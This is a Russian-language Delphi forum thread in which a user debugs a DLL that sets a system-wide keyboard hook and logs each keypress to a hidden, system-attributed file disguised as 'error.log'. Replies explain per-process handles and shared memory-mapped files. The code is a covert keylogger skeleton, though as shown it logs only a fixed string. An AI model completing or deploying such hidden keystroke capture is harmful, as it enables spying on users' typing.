Модераторы: Snowy, bartram, MetalFan, bems, Poseidon, Riply
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Ошибка WriteFile, Неверный дескриптор 
:(
    Опции темы
BaD_SeCt0R
Дата 1.9.2007, 04:19 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Lazy Coder
**


Профиль
Группа: Участник
Сообщений: 432
Регистрация: 9.10.2006
Где: Анапа

Репутация: 3
Всего: 18
Вот, что дано:

1) Пример библиотеки:

Код

library hook;
uses
  Windows;

const
  St = 'Хочу это записать!';

var
  cnt:cardinal;
  hf: hFile;
  HookHandle:hHook;

function KeyProc(Code:Integer; WParam:LongInt; LParam:LongInt):LongInt; stdcall;
begin
  if Code<0 then
    CallNextHookEx(HookHandle, Code, wParam, lParam);
  if ((lParam and $40000000)= 0) and (wParam<255) then
   begin
     if not WriteFile(hf, St[1], Length(St), cnt, nil) then
      if GetLastError = 6 then  //неверный дескриптор???
       Beep(1000, 500);         //почему я это слышу?
   end;
  Result:= CallNextHookEx(HookHandle, Code, wParam, lParam);
end;

procedure SetHook(State:boolean);
begin
  if State then
   begin
    //Ну, допустим, на клаву, что-бы не пищал постоянно
    HookHandle:=SetWindowsHookEx(WH_KEYBOARD, @KeyProc, HInstance, 0);
    hf:=CreateFile('error.log', GENERIC_WRITE, 0, nil, OPEN_ALWAYS,
                 FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM, 0);
   end
  else
   begin
    UnhookWindowsHookEx(HookHandle);
   end; 

end;

exports SetHook;

begin

end.
 


2) Пример программы:

Код

program Project1;

uses Windows;

const
  {$EXTERNALSYM WM_QUIT}
  WM_QUIT = $0012; 

procedure SetHook(State:boolean); external 'hook.dll' name 'SetHook';

function ProcessMessage(var Msg: TMsg): Boolean;
var
  Handled: Boolean;
begin
  Result := False;
  begin
    Result := True;
    if Msg.Message <> WM_QUIT then
    begin
      Handled := False;
      begin
        TranslateMessage(Msg);
        DispatchMessage(Msg);
      end;
    end
  end;
end;

procedure ProcessMessages;
var
  Msg: TMsg;
begin
  while ProcessMessage(Msg) do;
end;

procedure SweetDreams(ATimeout: Integer);
var
  Tick: Cardinal;
begin
  while ATimeout > 0 do
   begin
    tick := GetTickCount;
    if MsgWaitForMultipleObjects(0, nil^, False, ATimeOut, QS_ALLINPUT) = WAIT_TIMEOUT then
      Exit;
    ProcessMessages;
    dec(ATimeout, GetTickCount - tick);
   end;
end;

begin
  SetHook(true);
  While true do
    SweetDreams(1000);
end.



Что не так?


--------------------
Кто владеет информацией - владеет миром. (С) Френсис Бэкон.
PM MAIL ICQ   Вверх
bems
Дата 1.9.2007, 15:06 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Комодератор
Сообщений: 3400
Регистрация: 5.1.2006

Репутация: 21
Всего: 88
Дескриптор валиден в пределах процесса в котором он получен. Дылылыка работает в контексте разных процессов. В процессах отличных от того где вызвана CreateFile дескриптор или невалидный или (особо сложный для отладки случай) означает хз что. Ты или обменивайся инфой для записи в файл между процессами или делай дубликат хэндла (в этом случае с когерентностью нужно ждать проблем)

Добавлено через 5 минут и 37 секунд
Да к тому же переменная hf у тебя в болдьшинстве процессов не инициализирована, т.к. единственное присваивание влияет тольео на экземпляр библиотеки в контексте процесса в котором вызывается CreateFile, а в остальных это или ноль или мусор


--------------------
Обижено школьников: 8
PM MAIL   Вверх
BaD_SeCt0R
Дата 1.9.2007, 15:43 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Lazy Coder
**


Профиль
Группа: Участник
Сообщений: 432
Регистрация: 9.10.2006
Где: Анапа

Репутация: 3
Всего: 18
Цитата(bems @  1.9.2007,  15:06 Найти цитируемый пост)
обменивайся инфой для записи в файл между процессами 


И как ты посоветуешь обмениваться? Окошек у меня нет.


--------------------
Кто владеет информацией - владеет миром. (С) Френсис Бэкон.
PM MAIL ICQ   Вверх
bems
Дата 1.9.2007, 15:58 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Комодератор
Сообщений: 3400
Регистрация: 5.1.2006

Репутация: 21
Всего: 88
пайпы, мэйлслорты, разделяемые файлмаппинги

ищи по форуму "IPC"


--------------------
Обижено школьников: 8
PM MAIL   Вверх
BaD_SeCt0R
Дата 1.9.2007, 16:26 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Lazy Coder
**


Профиль
Группа: Участник
Сообщений: 432
Регистрация: 9.10.2006
Где: Анапа

Репутация: 3
Всего: 18
А если dll'ку используют несколько разных процессов? А файл надо вести один? Неужели никак нельзя писать из библиотеки?


--------------------
Кто владеет информацией - владеет миром. (С) Френсис Бэкон.
PM MAIL ICQ   Вверх
sentry
Дата 1.9.2007, 19:09 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Code Monkey
*


Профиль
Группа: Участник
Сообщений: 133
Регистрация: 29.1.2007
Где: Москва

Репутация: 1
Всего: 10
Цитата(BaD_SeCt0R @  1.9.2007,  17:56 Найти цитируемый пост)
А если dll'ку используют несколько разных процессов? А файл надо вести один?

У тебя и будет вестись только один файл. Просто нужно использовать одинаковые имена объектов ядра (я бы использовал проецируемые в память файлы).

Цитата(BaD_SeCt0R @  1.9.2007,  17:56 Найти цитируемый пост)
Неужели никак нельзя писать из библиотеки?

А тут я бы использовал функцию обратного вызова.
PM MAIL   Вверх
BaD_SeCt0R
Дата 1.9.2007, 19:30 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Lazy Coder
**


Профиль
Группа: Участник
Сообщений: 432
Регистрация: 9.10.2006
Где: Анапа

Репутация: 3
Всего: 18
Цитата(sentry @  1.9.2007,  19:09 Найти цитируемый пост)
я бы использовал проецируемые в память файлы


Ну запишу я в MMF, а мне-то нужен физический файл на диске!


--------------------
Кто владеет информацией - владеет миром. (С) Френсис Бэкон.
PM MAIL ICQ   Вверх
sentry
Дата 1.9.2007, 19:37 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Code Monkey
*


Профиль
Группа: Участник
Сообщений: 133
Регистрация: 29.1.2007
Где: Москва

Репутация: 1
Всего: 10
Цитата(BaD_SeCt0R @  1.9.2007,  21:00 Найти цитируемый пост)
Ну запишу я в MMF, а мне-то нужен физический файл на диске!

Ну а я про что?  smile В CreateFileMapping первый параметр - hFile: THandle. Это дескриптор файла, полученный после FileOpen или FileCreate.  Совсем необязательно туда писать DWORD(-1)  smile 
Посмотри подробнее в хелпе, а лучше в Рихтере.
PM MAIL   Вверх
BaD_SeCt0R
Дата 1.9.2007, 20:54 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Lazy Coder
**


Профиль
Группа: Участник
Сообщений: 432
Регистрация: 9.10.2006
Где: Анапа

Репутация: 3
Всего: 18
Так чтоли?

Код

  hf:=CreateFile('error.log', GENERIC_WRITE, 0, nil, OPEN_ALWAYS,
                   FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM, 0);
  MapLogFile := CreateFileMapping(hf, NIL, PAGE_READWRITE, 0, $FF, 'ABCDEFG123456');


Тогда почему MapLogFile у меня 0?


--------------------
Кто владеет информацией - владеет миром. (С) Френсис Бэкон.
PM MAIL ICQ   Вверх
BaD_SeCt0R
Дата 1.9.2007, 21:29 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Lazy Coder
**


Профиль
Группа: Участник
Сообщений: 432
Регистрация: 9.10.2006
Где: Анапа

Репутация: 3
Всего: 18
М-да, точно права доступа должны же быть идентичными

Код

hf:=CreateFile('error.log',GENERIC_READ or GENERIC_WRITE, FILE_SHARE_WRITE, nil, OPEN_ALWAYS,
                 FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM, 0);
  MapLogFile := CreateFileMapping(hf, NIL, PAGE_READWRITE, 0, $FF, 'ABCDEFG123456');


вот так  smile


--------------------
Кто владеет информацией - владеет миром. (С) Френсис Бэкон.
PM MAIL ICQ   Вверх
BaD_SeCt0R
Дата 1.9.2007, 22:26 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Lazy Coder
**


Профиль
Группа: Участник
Сообщений: 432
Регистрация: 9.10.2006
Где: Анапа

Репутация: 3
Всего: 18
Жаль размер нужно указывать жестко...


--------------------
Кто владеет информацией - владеет миром. (С) Френсис Бэкон.
PM MAIL ICQ   Вверх
  
 Ответ в темуСоздание новой темы Создание опроса
Правила форума "Delphi: WinAPI и системное программирование"
Snowybartram
MetalFanbems
PoseidonRrader
Riply

Запрещено:

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по Delphi обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи
  • 99% ответов по WinAPI можно найти в MSDN Library, оставшиеся 1% здесь

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, bartram, MetalFan, bems, Poseidon, Rrader, Riply.
 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: WinAPI и системное программирование | Следующая тема »

Подписаться на тему | Подписка на этот форум | Скачать/Распечатать тему


 




[ Время генерации скрипта: 0.1376 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
 По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.